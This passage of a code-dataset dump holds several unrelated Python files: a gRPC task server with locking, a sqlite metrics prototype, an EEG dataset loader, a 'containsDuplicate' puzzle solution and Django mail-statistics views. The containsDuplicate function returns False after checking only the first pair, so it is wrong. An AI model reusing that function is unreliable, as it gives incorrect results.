dictionary, task id as key and task as value\n \n if(len(self.tasks) != 0):\n self.task_id = max(self.tasks.keys()) + 1 #get the id of next task after read from file\n else:\n self.task_id = 0\n\n return self #retun the class\n\n #4. Complete TaskapiImpl.__enter__ and TaskapiImpl.__exit__ to save and load tasks to and from a file.\n def __exit__(self, exc_type, exc_val, exc_tb):\n \"\"\"Save tasks to self.taskfile\"\"\"\n\n with open(self.taskfile, mode=\"wb\") as t: #use context manager to erite to taskfile\n tasks = task_pb2.Tasks(pending = self.tasks.values()) #store tasks in the 'tasks' dictonary\n t.write(tasks.SerializeToString()) #write it to taskfile\n logging.info(f\"Saved data to {self.taskfile}\")\n\n #5. Implement TaskapiImpl.editTask RPC that edits an existing task. \n def editTask(self, request: wrappers_pb2.StringValue, context) -> task_pb2.Task: #method to edit tasks\n \n logging.debug(f\"editTask parameters {pformat(request)}\")\n\n MAXLEN = 1024 #maximum description limit\n\n #get id and r=description given by user\n idno = request.id \n descript = request.description\n \n if len(descript) > MAXLEN: #if user input description exceed maximum limit, it is invalid\n msg = 'Length of `Task Description` cannot be more than 1024 characters'\n context.set_details(msg) #use context to set message and code for error and then return uninitialized task object\n context.set_code(grpc.StatusCode.INVALID_ARGUMENT)\n return task_pb2.Task()\n\n #6. What happens if editTask is called on the same task by two clients simultaneously? Suggest a possible solution.\n with self.lock: #need a lock to prevent data races. data race occurs when access stored values in \"tasks\" dictionary\n ids = self.tasks.keys() #get already stored task ids. need mutual exclusion\n\n if idno not in ids: #if user given task id is not stored, it is invalid\n msg = 'id number is invalid'\n context.set_details(msg) #use context to set message and code for error and then return uninitialized task object\n context.set_code(grpc.StatusCode.INVALID_ARGUMENT)\n return task_pb2.Task() \n\n self.tasks[idno] = request #if no problems, store the new description in \"tasks\" dictionary for given task id\n\n return self.tasks[idno] #return edited task \n\n\n def addTask(self, request: wrappers_pb2.StringValue, context) -> task_pb2.Task: #method to add a new task\n \n logging.debug(f\"addTask parameters {pformat(request)}\")\n \n MAXLEN = 1024 #maximum description limit\n\n if len(request.value) > MAXLEN: #if user input description exceed maximum limit, it is invalid\n msg = 'Length of `Task Description` cannot be more than 1024 characters'\n context.set_details(msg) #use context to set message and code for error and then return uninitialized task object\n context.set_code(grpc.StatusCode.INVALID_ARGUMENT)\n return task_pb2.Task()\n\n #7. There is a subtle error in the provided implementation of addTask called a data race. How can we fix this problem?\n #9. Impose a critical section in your implementation of addTask to ensure proper mutual exclusion.\n with self.lock: #need a lock to prevent data races. data race occurs when access \"tasks\" dictionary and task_id variable\n t = task_pb2.Task(id=self.task_id, description=request.value) #create a new task for added description\n print(\"new task :\") #display new task\n print(t)\n self.tasks[self.task_id] = t #store the new task\n self.task_id += 1 #increment task id\n \n return t #return new task\n\n\n def delTask(self, request: wrappers_pb2.UInt64Value, context) -> task_pb2.Task: #method to delete a task\n\n if request.value not in self.tasks.keys(): #if user given task id is not stored, it is invalid\n msg = 'id number is invalid'\n context.set_details(msg) #use context to set message and code for error and then return uninitialized task object\n context.set_code(grpc.StatusCode.INVALID_ARGUMENT)\n return task_pb2.Task()\n\n with self.lock: #need a lock to prevent data races. data race occurs when access stored values in \"tasks\" dictionary\n logging.debug(f\"delTask parameters {pformat(request)}\")\n return self.tasks.pop(request.value) #if no given id is valid, delete and send the required task\n\n\n def listTasks(self, request: empty_pb2.Empty, context) -> task_pb2.Tasks:\n \n logging.debug(f\"listTasks parameters {pformat(request)}\")\n with self.lock: #need a lock to prevent data races\n\n return task_pb2.Tasks(pending=self.tasks.values()) #return stored tasks\n\n\nTASKFILE = \"tasklist.protobuf\"\nif __name__ == \"__main__\":\n Path(TASKFILE).touch()\n logging.basicConfig(level=logging.DEBUG)\n\n with ThreadPoolExecutor(max_workers=1) as pool, TaskapiImpl(\n TASKFILE\n ) as taskapiImpl:\n taskserver = server(pool)\n task_pb2_grpc.add_TaskapiServicer_to_server(taskapiImpl, taskserver)\n taskserver.add_insecure_port(\"[::]:50051\")\n try:\n taskserver.start()\n logging.info(\"Taskapi ready to serve requests\")\n taskserver.wait_for_termination()\n except:\n logging.info(\"Shutting down server\")\n taskserver.stop(None)\n","sub_path":"6 5b/todo/test/task_server.py","file_name":"task_server.py","file_ext":"py","file_size_in_byte":7283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"100273306","text":"\"\"\"\nExample of using sqlite3 to ingest and aggregate metrics, mainly to show off\na plausible schema.\n\nSlightly faster than views.py:\n\n$ time python prototypes/views.py :memory: 1000000 >/dev/null\nreal\t1m14.439s\nuser\t1m13.011s\nsys\t0m0.748s\n\n$ time python prototypes/views_agg_array.py :memory: 1000000 >/dev/null\nreal\t1m4.337s\nuser\t1m3.182s\nsys\t0m0.620s\n\n\"\"\"\nimport array\nimport datetime\nimport random\nimport sqlite3\n\nimport numpy\n\n\nclass QuantileAggregate(array.array):\n def __new__(cls):\n return array.array.__new__(cls, 'd')\n\n q = None\n\n step = array.array.append\n\n def finalize(self):\n assert self.q is not None, \"no q\"\n return numpy.percentile(self, self.q * 100)\n\n\nclass P50Aggregate(QuantileAggregate):\n q = 0.5\n\n\nclass P90Aggregate(QuantileAggregate):\n q = 0.9\n\n\nclass P99Aggregate(QuantileAggregate):\n q = 0.99\n\n\ndef open_db(path, aggregations):\n \"\"\"Return a configured database connection with all the required tables.\n\n Arguments:\n path (str): Path to the database.\n view_seconds (list(tuple(str, int))): Aggregation views to create,\n as (view_name, aggregation_seconds) tuples.\n\n Returns:\n sqlite3.Connection\n\n \"\"\"\n db = sqlite3.connect(path)\n db.create_aggregate('p50', 1, P50Aggregate)\n db.create_aggregate('p90', 1, P90Aggregate)\n db.create_aggregate('p99', 1, P99Aggregate)\n\n db.execute(\n \"\"\"\n create table if not exists incoming (\n path text not null,\n timestamp real not null,\n value real not null\n );\n \"\"\"\n )\n\n for name, seconds in aggregations:\n db.execute(\n f\"\"\"\n create view if not exists\n {name} (path, timestamp, n, min, max, avg, sum, p50, p90, p99) as\n select\n path,\n cast(timestamp as integer) / {seconds} * {seconds} as agg_ts,\n count(value),\n min(value),\n max(value),\n avg(value),\n sum(value),\n p50(value),\n p90(value),\n p99(value)\n from incoming\n group by path, agg_ts;\n \"\"\"\n )\n\n return db\n\n\ndef generate_random_data(db, count):\n for i in range(count):\n db.execute(\n \"insert into incoming values (?, ?, ?);\",\n (\n random.choice(('one', 'two')),\n (\n datetime.datetime.utcnow()\n + datetime.timedelta(\n microseconds=random.randrange(60 * 60 * 10 ** 6)\n )\n ).timestamp(),\n random.randrange(100),\n ),\n )\n\n\ndef pretty_print_table(db, table):\n print('---', table)\n rows = db.execute(f\"select * from {table} order by path, timestamp;\")\n values_str = ''.join(f\" {d[0]:>7}\" for d in rows.description[2:])\n print(f\"{rows.description[0][0]:<7} {rows.description[1][0]:<27}{values_str}\")\n for path, timestamp, *values in rows:\n values_str = ''.join(f\" {value:7.1f}\" for value in values)\n print(\n f\"{path:<7} {datetime.datetime.utcfromtimestamp(timestamp)!s:<27}{values_str}\"\n )\n print()\n\n\nAGGREGATIONS = [\n ('onesecond', 1),\n ('tensecond', 10),\n ('oneminute', 60),\n ('fiveminute', 300),\n ('onehour', 3600),\n ('oneday', 86400),\n]\n\nTABLES = ['incoming'] + [v for v, _ in AGGREGATIONS]\n\n\nif __name__ == '__main__':\n import sys\n\n if len(sys.argv) < 2:\n path = ':memory:'\n else:\n path = sys.argv[1]\n if len(sys.argv) < 3:\n count = 10\n else:\n count = int(sys.argv[2])\n\n db = open_db(path, AGGREGATIONS)\n generate_random_data(db, count=count)\n for table in TABLES:\n pretty_print_table(db, table)\n","sub_path":"prototypes/views_agg_array.py","file_name":"views_agg_array.py","file_ext":"py","file_size_in_byte":3825,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"639502369","text":"\"\"\"\nOpenvibe Motor imagery dataset.\n\"\"\"\n\nfrom .base import BaseDataset\n\nimport pandas as pd\nimport os\nfrom mne import create_info\nfrom mne.io import RawArray, Raw\nfrom mne.channels import read_montage\nfrom . import download as dl\n\n\nINRIA_URL = 'http://openvibe.inria.fr/private/datasets/dataset-1/'\n\ndef data_path(session, path=None, force_update=False, update_path=None,\n verbose=None):\n \"\"\"Get path to local copy of INRIA dataset URL.\n\n Parameters\n ----------\n session : int\n Number of session to use\n path : None | str\n Location of where to look for the data storing location.\n If None, the environment variable or config parameter\n ``MNE_DATASETS_INRIA_PATH`` is used. If it doesn't exist, the\n \"~/mne_data\" directory is used. If the dataset\n is not found under the given path, the data\n will be automatically downloaded to the specified folder.\n force_update : bool\n Force update of the dataset even if a local copy exists.\n update_path : bool | None\n If True, set the MNE_DATASETS_INRIA_PATH in mne-python\n config to the given path. If None, the user is prompted.\n verbose : bool, str, int, or None\n If not None, override default verbose level (see :func:`mne.verbose`).\n\n Returns\n -------\n path : list of str\n Local path to the given data file. This path is contained inside a list\n of length one, for compatibility.\n \"\"\" # noqa: E501\n if session < 1 or session > 14:\n raise ValueError(\"Valid sessions between 1 and 14, session {:d} requested\".format(session))\n url = '{:s}{:02d}-signal.csv.bz2'.format(INRIA_URL, session)\n return dl.data_path(url, 'INRIA', path, force_update, update_path, verbose)\n\ndef convert_inria_csv_to_mne(path):\n '''\n Convert an INRIA CSV file to a RawArray\n '''\n\n csv_data = pd.read_csv(path, index_col=0, sep=',')\n csv_data = csv_data.drop(['Epoch','Event Date','Event Duration'],axis=1)\n csv_data = csv_data.rename(columns={'Event Id':'Stim', 'Ref_Nose':'Nz'})\n ch_types=['eeg']*11 + ['stim']\n ch_names = list(csv_data.columns)\n left_hand_ind = csv_data['Stim'] == '769'\n right_hand_ind = csv_data['Stim'] == '770'\n csv_data['Stim'] = 0\n csv_data['Stim'][left_hand_ind] = 2e6\n csv_data['Stim'][right_hand_ind] = 1e6\n montage = read_montage('standard_1005')\n info = create_info(ch_names=ch_names, ch_types=ch_types, sfreq=512., montage=montage)\n raw = RawArray(data=csv_data.values.T * 1e-6, info=info, verbose=False)\n return raw\n\n\nclass OpenvibeMI(BaseDataset):\n \"\"\"Openvibe Motor Imagery dataset\"\"\"\n\n def __init__(self, tmin=0, tmax=3):\n super().__init__(\n subjects=[1],\n sessions_per_subject=14,\n events=dict(right_hand=1, left_hand=2),\n code='Openvibe Motor Imagery',\n interval=[tmin, tmax],\n paradigm='imagery')\n\n def _get_single_subject_data(self, subjects, stack_sessions=False):\n \"\"\"return data for subject\"\"\"\n data = []\n for i in range(1, 10):\n data.append(self._get_single_session_data(i))\n if stack_sessions:\n return [data]\n else:\n return [[data]]\n\n def _get_single_session_data(self, session):\n \"\"\"return data for a single recording session\"\"\"\n csv_path = data_path(session)\n fif_path = os.path.join(os.path.dirname(csv_path),\n 'raw_{:d}.fif'.format(session))\n if not os.path.isfile(fif_path):\n print('Resaving .csv file as .fif for ease of future loading')\n raw = convert_inria_csv_to_mne(csv_path)\n raw.save(fif_path)\n return raw\n else:\n return Raw(fif_path, preload=True, verbose='ERROR')\n","sub_path":"moabb/datasets/openvibe_mi.py","file_name":"openvibe_mi.py","file_ext":"py","file_size_in_byte":3820,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"204323247","text":"class Solution:\n def containsDuplicate(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: bool\n \"\"\"\n nums.sort()\n for i in range(len(nums) - 1):\n a = nums[i] ^ nums[i+1]\n if a == 0:\n return True\n else:\n return False\n\n\nif __name__ == '__main__':\n s = Solution()\n nums = [1, 2, 3, 1]\n print(s.containsDuplicate(nums))\n\n","sub_path":"containsDuplicate.py","file_name":"containsDuplicate.py","file_ext":"py","file_size_in_byte":425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"6214592","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\nimport os\nimport re\nimport time\nimport json\nfrom django.shortcuts import render, get_object_or_404, redirect, get_list_or_404\nfrom django.contrib import messages\nfrom django.core.urlresolvers import reverse\nfrom django.contrib.auth.decorators import login_required\nfrom django.http import HttpResponseRedirect, HttpResponse, Http404\nfrom django.template.response import TemplateResponse\nfrom django.core.paginator import Paginator, EmptyPage, InvalidPage\nfrom django.db.models import Q, Count, Sum\nfrom django.utils.translation import ugettext as _\nfrom django.views.decorators.cache import cache_page\nfrom wsgiref.util import FileWrapper\nfrom django.utils import timezone\n\nfrom app.rpt.models import MailLog, LogReport, LogActive\nfrom app.utils.domain_session import get_domainid_bysession, get_session_domain\nfrom app.utils.response.excel_response import ExcelResponse\nfrom app.utils import MailboxSearch\nfrom lib.licence import licence_required\nfrom .utils import add_condition, get_date_offset, get_day, get_mail_stat_data, get_save_days\nfrom app.rpt.constants import MAILLOG_SEND_PERMIT, MAILLOG_RECV_PERMIT\nfrom app.core.models import (\n Mailbox, MailboxUser, MailboxSize, DomainAttr,\n Domain, CoreMonitor, CoreAlias, Department, DepartmentMember, VisitLog, AuthLog )\nfrom app.maintain.tools import getLogDesc, LogFormat\nfrom .models import CoUserLog\nfrom .forms import MailLogSearchForm, MailboxStatForm, ActiveUserStatForm, UserLogForm, AdminLogForm, VisitLogForm, AuthLogForm\nfrom app.core.templatetags.tags import smooth_timedelta\nfrom django.apps import apps as dapps\nfrom auditlog.models import LogEntry\n\n#########################################\n### 按邮箱统计\n@licence_required\ndef maillog(request):\n form = MailboxStatForm(request.GET)\n return render(request, \"rpt/maillog.html\", context={\n \"form\": form,\n })\n\ndef maillog_mailbox_search(request):\n data = request.GET\n order_column = data.get('order[0][column]', '')\n order_dir = data.get('order[0][dir]', '')\n search = data.get('search[value]', '')\n\n username = data.get('username', '')\n name = data.get('name', '')\n department = data.get('department', '')\n position = data.get('position', '')\n worknumber = data.get('worknumber', '')\n\n quota = data.get('quota', '')\n netdisk_quota = data.get('netdisk_quota', '')\n\n send_permit = data.get('send_permit', '')\n recv_permit = data.get('recv_permit', '')\n disabled = data.get('disabled', '0')\n\n domain_id = get_domainid_bysession(request)\n q_domain = Q(domain_id=domain_id)\n condition_mailbox = q_domain\n condition_user = None\n\n id_list = []\n if name:\n condition_user = add_condition(condition_user, Q(realname__icontains=name))\n if worknumber:\n condition_user = add_condition(condition_user, Q(eenumber__icontains=worknumber))\n if condition_user:\n condition_user = add_condition(condition_user, q_domain)\n for obj in MailboxUser.objects.filter( condition_user ):\n id_list.append( obj.mailbox_id )\n if not id_list:\n return [], 0, 1, 1\n\n if position or department:\n condition_dept = None\n condition_position = None\n dept_list = []\n\n if department:\n condition_dept = add_condition(condition_dept, Q(title__icontains=department))\n condition_dept = add_condition(condition_dept, q_domain)\n for obj in Department.objects.filter( condition_dept ):\n dept_list.append( obj.id )\n\n if position:\n condition_position = add_condition(condition_position, Q(position__icontains=position))\n condition_position = add_condition(condition_position, q_domain)\n else:\n condition_position = add_condition(condition_position, q_domain)\n\n q_dept = None\n for dept_id in dept_list:\n if q_dept:\n q_dept = q_dept | Q(dept_id=dept_id)\n else:\n q_dept = Q(dept_id=dept_id)\n\n condition_position = add_condition(q_dept, condition_position)\n q_box = None\n for mailbox_id in id_list:\n if q_box:\n q_box = q_box | Q(mailbox_id=mailbox_id)\n else:\n q_box = Q(mailbox_id=mailbox_id)\n condition_position = add_condition(q_box, condition_position)\n id_list = []\n for obj in DepartmentMember.objects.filter( condition_position ):\n id_list.append( obj.mailbox_id )\n\n if not id_list:\n return [], 0, 1, 1\n\n condition_mailbox = add_condition(condition_mailbox, q_domain)\n if username:\n condition_mailbox = add_condition(condition_mailbox, Q(name__icontains=username))\n if send_permit and send_permit!=\"0\":\n box_list = MailboxSearch.search_send_recv_limit(domain_id=domain_id,type=\"send\",limit=send_permit)\n condition_mailbox = add_condition(condition_mailbox, Q(id__in=box_list))\n if recv_permit and recv_permit!=\"0\":\n box_list = MailboxSearch.search_send_recv_limit(domain_id=domain_id,type=\"recv\",limit=recv_permit)\n condition_mailbox = add_condition(condition_mailbox, Q(id__in=box_list))\n if quota:\n condition_mailbox = add_condition(condition_mailbox, Q(quota_mailbox=quota))\n if netdisk_quota:\n condition_mailbox = add_condition(condition_mailbox, Q(quota_netdisk=netdisk_quota))\n if disabled and disabled!=\"0\":\n condition_mailbox = add_condition(condition_mailbox, Q(disabled=disabled))\n q_box = None\n for mailbox_id in id_list:\n if q_box:\n q_box = q_box | Q(id=mailbox_id)\n else:\n q_box = Q(id=mailbox_id)\n condition_mailbox = add_condition(q_box, condition_mailbox)\n mailbox_lists = Mailbox.objects.filter( condition_mailbox )\n\n colums = ['id', 'username', 'mailboxuser__realname', 'id', 'id', 'mailboxuser__eenumber', 'limit_send',\n 'limit_recv', 'quota_mailbox', 'quota_netdisk', 'mailboxsize__size', 'disabled']\n if order_column and int(order_column) < len(colums):\n if order_dir == 'desc':\n mailbox_lists = mailbox_lists.order_by('-%s' % colums[int(order_column)])\n else:\n mailbox_lists = mailbox_lists.order_by('%s' % colums[int(order_column)])\n\n try:\n length = int(data.get('length', 1))\n except ValueError:\n length = 1\n try:\n start_num = int(data.get('start', '0'))\n page = start_num / length + 1\n except ValueError:\n start_num = 0\n page = 1\n return mailbox_lists, start_num, page, length\n\n\ndef cal_mailboxstat(number, d):\n send_permit_map = dict(MAILLOG_SEND_PERMIT)\n recv_permit_map = dict(MAILLOG_RECV_PERMIT)\n def get_send_permit(v):\n v = str(v)\n return send_permit_map.get(v,'-1')\n def get_recv_permit(v):\n v = str(v)\n return recv_permit_map.get(v,'-1')\n\n username = d.name\n name = d.name\n department = \"\"\n position = \"\"\n worknumber = \"\"\n disabled = \"-1\"\n\n sendpermit = get_send_permit(d.getSendLimit)\n recvpermit = get_recv_permit(d.getRecvLimit)\n quotamailbox = d.quota_mailbox\n quotanetdisk = d.quota_netdisk\n disabled = str(d.disabled)\n\n quotamailbox_used = 0\n\n obj_user = MailboxUser.objects.filter(mailbox_id=d.id).first()\n if obj_user:\n name = obj_user.realname\n worknumber = obj_user.eenumber\n\n obj_member = DepartmentMember.objects.filter(mailbox_id=d.id).first()\n if obj_member:\n position = obj_member.position\n dept_id = obj_member.dept_id\n obj_dept = Department.objects.filter(id=dept_id).first()\n if obj_dept:\n department = obj_dept.title\n\n size_obj = MailboxSize.objects.filter(mailbox_id=d.id).first()\n quotamailbox_used = 0 if not size_obj else size_obj.size\n\n obj = VisitLog.objects.filter(mailbox_id=d.id).order_by('-logintime').first()\n last_weblogin = obj.logintime.strftime('%Y-%m-%d %H:%M:%S') if obj else u\"--\"\n obj = AuthLog.objects.filter(user=d.username,is_login=True).order_by('-time').first()\n last_clientlogin = obj.time.strftime('%Y-%m-%d %H:%M:%S') if obj else u\"--\"\n\n data = {\n 'number': number,\n 'username': username,\n 'name': name,\n 'department': department,\n 'position': position,\n 'worknumber': worknumber,\n 'sendpermit': sendpermit,\n 'recvpermit': recvpermit,\n 'quotamailbox': quotamailbox,\n 'quotamailbox_used': quotamailbox_used,\n 'quotanetdisk': quotanetdisk,\n \"last_weblogin\": last_weblogin,\n \"last_clientlogin\": last_clientlogin,\n \"disabled\": disabled,\n }\n return data\n\n@licence_required\ndef maillog_ajax(request):\n mailbox_lists, start_num, page, length = maillog_mailbox_search(request)\n count = len(mailbox_lists)\n if start_num >= count:\n page = 1\n paginator = Paginator(mailbox_lists, length)\n try:\n mailbox_lists = paginator.page(page)\n except (EmptyPage, InvalidPage):\n mailbox_lists = paginator.page(paginator.num_pages)\n rs = {\"sEcho\": 0, \"iTotalRecords\": count, \"iTotalDisplayRecords\": count, \"aaData\": []}\n re_str = '(.*?)'\n number = length * (page-1) + 1\n for d in mailbox_lists.object_list:\n data = cal_mailboxstat(number, d)\n t = TemplateResponse(request, 'rpt/maillog_ajax.html', data )\n t.render()\n rs[\"aaData\"].append(re.findall(re_str, t.content, re.DOTALL))\n number += 1\n return HttpResponse(json.dumps(rs), content_type=\"application/json\")\n\ndef maillog_export(request):\n lists = [[_(u'序号'), _(u'用户名称'), _(u'用户姓名'), _(u'部门'), _(u'职位'), _(u'工号'), _(u'发送权限'), _(u'接收权限'), _(u'邮箱容量(MB)'), _(u'网络硬盘容量(MB)'), _(u'已用邮箱容量(MB)'), _(u'邮箱状态')]]\n mailbox_lists, start_num, page, length = maillog_mailbox_search(request)\n current_row = 1\n for d in mailbox_lists:\n data = cal_mailboxstat(current_row, d)\n disabled_name = _(u\"启用\") if data[\"disabled\"]!=\"1\" else _(u\"禁用\")\n #需要提前翻译好\n limit_send = _(data[\"sendpermit\"])\n limit_recv = _(data[\"recvpermit\"])\n lists.append([current_row, data[\"username\"], data[\"name\"], data[\"department\"], data[\"position\"],\n data[\"worknumber\"], limit_send, limit_recv, data[\"quotamailbox\"], data[\"quotanetdisk\"], data[\"quotamailbox_used\"], disabled_name ])\n current_row += 1\n return ExcelResponse(lists, \"mailbox\", encoding='gbk')\n\n#########################################\n### 邮件收发统计\n@licence_required\ndef maillog_user(request):\n domain_id = get_domainid_bysession(request)\n form = ActiveUserStatForm(domain_id, request.GET)\n return render(request, \"rpt/maillog_user.html\", context={\n \"form\": form,\n })\n\ndef maillog_user_search(request):\n data = request.GET\n order_column = data.get('order[0][column]', '')\n order_dir = data.get('order[0][dir]', '')\n search = data.get('search[value]', '')\n username = data.get('username', '')\n\n department = data.get('department', '0')\n department = 0 if not department else int(department)\n #最大搜索用户数,没什么用,先去掉\n #showmax = data.get('showmax', '')\n #showmax = 0 if not showmax.strip() else int(showmax)\n showmax = 0\n\n date_select = data.get('date_select', '')\n if not date_select or date_select==\"None\":\n date_select = \"0\"\n date_select = int(date_select)\n\n date_select2 = data.get('date_select2', '')\n if not date_select2 or date_select2==\"None\":\n date_select2 = \"-1\"\n date_select2 = int(date_select2)\n\n start_day = max(date_select, date_select2)\n end_day = min(date_select, date_select2)\n start_time=get_day(int(start_day))\n\n domain_id = get_domainid_bysession(request)\n #-------------------------- 筛选 部门 ----------------------------\n lists = MailLog.objects.filter(domain_id=domain_id)\n if department and int(department)>0:\n id_dept = DepartmentMember.objects.filter(domain_id=domain_id, dept_id=department).values_list('mailbox_id',flat=True)\n lists = lists.filter(mailbox_id__in=id_dept)\n #-------------------------- 筛选 部门 完毕 ------------------------\n\n #-------------------------- 筛选 邮箱 ----------------------------\n condition_mailbox = None\n if username:\n condition_mailbox = add_condition(condition_mailbox, Q(name__icontains=username))\n if condition_mailbox:\n condition_mailbox = add_condition(condition_mailbox, Q(domain_id=domain_id))\n id_box = Mailbox.objects.filter(condition_mailbox).values_list('id',flat=True)\n lists = lists.filter(mailbox_id__in=id_box)\n #-------------------------- 筛选 邮箱 完毕 ------------------------\n\n condition = Q(domain_id=domain_id)\n condition_single = Q(domain_id=domain_id)\n condition = add_condition(condition, Q(recv_time__gte=start_time))\n condition_single = add_condition(condition_single, Q(recv_time__gte=start_time))\n if end_day>-1 and end_day != start_day:\n end_time=get_day(int(end_day))\n condition = add_condition(condition, Q(recv_time__lt=end_time))\n condition_single = add_condition(condition_single, Q(recv_time__lt=end_time))\n lists = lists.filter(condition).values('mailbox_id').annotate(Count('size'),Sum('size')).order_by('-size__count')\n flag = \"stat\"\n try:\n length = int(data.get('length', 1))\n except ValueError:\n length = 1\n try:\n start_num = int(data.get('start', '0'))\n page = start_num / length + 1\n except ValueError:\n start_num = 0\n page = 1\n return flag, lists, condition_single, start_num, page, length, showmax\n\ndef maillog_user_single(flag, lists, d, condition, lists_in_data=None, lists_out_success_data=None, lists_spam_data=None):\n MB=1024*1024.0\n count = lists.count()\n mailbox_id = d[\"mailbox_id\"]\n total_count = d[\"size__count\"]\n total_flow = round(int(d[\"size__sum\"])/MB,2)\n\n in_count = in_flow = out_count = out_flow =0\n success_count = success_flow = 0\n spam_count = spam_flow = 0\n failure_count = failure_flow = 0\n spam_ratio = '--'\n out_ratio = '--'\n\n obj_box = Mailbox.objects.filter(id=mailbox_id).first()\n if not obj_box:\n name = _(u\"已删除邮箱_%s\")%mailbox_id\n else:\n name = obj_box.name\n\n last_time = time.time()\n q = add_condition(condition, Q(mailbox_id=mailbox_id))\n\n if flag == \"cache\":\n #last_time = count_time(last_time)\n #入站流量\n lists = lists.filter(q).values('mailbox_id').annotate(\n Sum('total_count'), Sum('total_flow'),\n Sum('in_count'), Sum('in_flow'),\n Sum('spam_count'), Sum('spam_flow'),\n Sum('success_count'), Sum('success_flow'),\n ).first()\n #last_time = count_time(last_time)\n in_count = int(lists[\"in_count__sum\"])\n in_flow_base = int(lists[\"in_flow__sum\"])\n in_flow = round(in_flow_base/MB,2)\n out_count = max(total_count - in_count, 0)\n out_flow = (int(d[\"size__sum\"]) - in_flow_base)/MB\n out_flow = max(round(out_flow,2), 0)\n success_count = int(lists[\"success_count__sum\"])\n success_flow = int(lists[\"success_flow__sum\"])\n spam_count = int(lists[\"spam_count__sum\"])\n spam_flow = round(lists[\"spam_flow__sum\"]/MB,2)\n else:\n if lists_in_data is None:\n #入站流量\n lists_in = lists.filter(q & Q(type='in')).values('mailbox_id').annotate(Count('size'),Sum('size')).first()\n #出站成功数量\n lists_out_success = lists.filter(q & Q(result='1') & Q(type='out')).values('mailbox_id').annotate(Count('size'),Sum('size')).first()\n #垃圾数量\n lists_spam = lists.filter(q & Q(type='in',status='spam-flag')).values('mailbox_id').annotate(Count('size'),Sum('size')).first()\n else:\n lists_in = lists_in_data.get(mailbox_id,{})\n lists_out_success = lists_out_success_data.get(mailbox_id,{})\n lists_spam = lists_spam_data.get(mailbox_id,{})\n\n in_flow_base = 0\n if lists_in:\n in_count = int(lists_in[\"size__count\"])\n in_flow_base = int(lists_in[\"size__sum\"])\n in_flow = round(in_flow_base/MB,2)\n out_count = max(total_count - in_count, 0)\n out_flow = (int(d[\"size__sum\"]) - in_flow_base)/MB\n out_flow = max(round(out_flow,2), 0)\n\n if lists_out_success:\n success_count = int(lists_out_success[\"size__count\"])\n success_flow = round(lists_out_success[\"size__sum\"]/MB,2)\n #因为浮点数计算可能有误差,所以取两者最大值,避免显示看起来很奇怪\n out_flow = max(out_flow, success_flow)\n failure_count = max(out_count - success_count,0)\n failure_flow = max(round(out_flow - success_flow,2),0)\n\n if lists_spam:\n spam_count = int(lists_spam[\"size__count\"])\n spam_flow = round(lists_spam[\"size__sum\"]/MB,2)\n if in_count > 0:\n ratio = round( spam_count*1.0/in_count, 3 )\n spam_ratio = \"%s%%\"%(ratio*100)\n if out_count > 0:\n ratio = round( success_count*1.0/out_count, 3 )\n out_ratio = \"%s%%\"%(ratio*100)\n\n data = {\n 'name':name,\n 'total_used' : 0,\n 'total_count': total_count,\n 'total_flow': total_flow,\n 'd': d,\n 'in_count': in_count, 'in_flow': in_flow,\n 'out_count': out_count, 'out_flow': out_flow,\n 'spam_count': spam_count, 'spam_flow': spam_flow,\n 'success_count': success_count, 'success_flow': success_flow,\n 'failure_count': failure_count, 'failure_flow': failure_flow,\n 'spam_ratio': spam_ratio, 'out_ratio': out_ratio,\n }\n return data\n\n@licence_required\ndef maillog_user_ajax(request):\n flag, lists, condition, start_num, page, length, showmax = maillog_user_search(request)\n\n MB=1024*1024.0\n count = lists.count()\n if showmax >0 and count > showmax:\n count = showmax\n if start_num >= count:\n page = 1\n paginator = Paginator(lists, length)\n #print \"mailLogActiveSearch Paginator\"\n #last_time = count_time(last_time)\n try:\n page_lists = paginator.page(page)\n except (EmptyPage, InvalidPage):\n page_lists = paginator.page(paginator.num_pages)\n rs = {\"sEcho\": 0, \"iTotalRecords\": count, \"iTotalDisplayRecords\": count, \"aaData\": []}\n re_str = '(.*?)'\n number = length * (page-1) + 1\n\n #进站数量\n lists_in = lists.filter(Q(type='in')).values('mailbox_id').annotate(Count('size'),Sum('size'))\n #出站成功数量\n lists_out_success = lists.filter(Q(result='1') & Q(type='out')).values('mailbox_id').annotate(Count('size'),Sum('size'))\n #垃圾数量\n lists_spam = lists.filter(Q(type='in',status='spam-flag')).values('mailbox_id').annotate(Count('size'),Sum('size'))\n lists_in_data = {}\n for d in lists_in:\n mailbox_id=d[\"mailbox_id\"]\n lists_in_data[mailbox_id] = d\n lists_out_success_data = {}\n for d in lists_out_success:\n mailbox_id=d[\"mailbox_id\"]\n lists_out_success_data[mailbox_id] = d\n lists_spam_data = {}\n for d in lists_spam:\n mailbox_id=d[\"mailbox_id\"]\n lists_spam_data[mailbox_id] = d\n\n for d in page_lists.object_list:\n data = maillog_user_single(flag, lists, d, condition, lists_in_data, lists_out_success_data, lists_spam_data)\n #print \"mailLogActiveStatSingle: \",d\n #last_time = count_time(last_time)\n\n data[\"number\"] = number\n t = TemplateResponse(request, 'rpt/maillog_user_ajax.html', data )\n t.render()\n rs[\"aaData\"].append(re.findall(re_str, t.content, re.DOTALL))\n number += 1\n return HttpResponse(json.dumps(rs), content_type=\"application/json\")\n\n@licence_required\ndef maillog_user_export(request):\n lists = [[_(u'序号'), _(u'用户名'), _(u'已用容量'), _(u'邮件数量'), _(u'总流量'), _(u'入站数量'), _(u'入站流量'),\n _(u'垃圾过滤数量'), _(u'垃圾过滤流量'), _(u'出站数量'), _(u'出站流量'), _(u'成功数量'), _(u'成功流量'), _(u'失败数量'), _(u'失败流量'), _(u'垃圾率'), _(u'出站成功率')]]\n flag, user_lists, condition, start_num, page, length, showmax = maillog_user_search(request)\n current_row = 1\n\n lists_in = user_lists.filter(Q(type='in')).values('mailbox_id').annotate(Count('size'),Sum('size'))\n #出站成功数量\n lists_out_success = user_lists.filter(Q(result='1') & Q(type='out')).values('mailbox_id').annotate(Count('size'),Sum('size'))\n #垃圾数量\n lists_spam = user_lists.filter(Q(type='in',status='spam-flag')).values('mailbox_id').annotate(Count('size'),Sum('size'))\n lists_in_data = {}\n for d in lists_in:\n 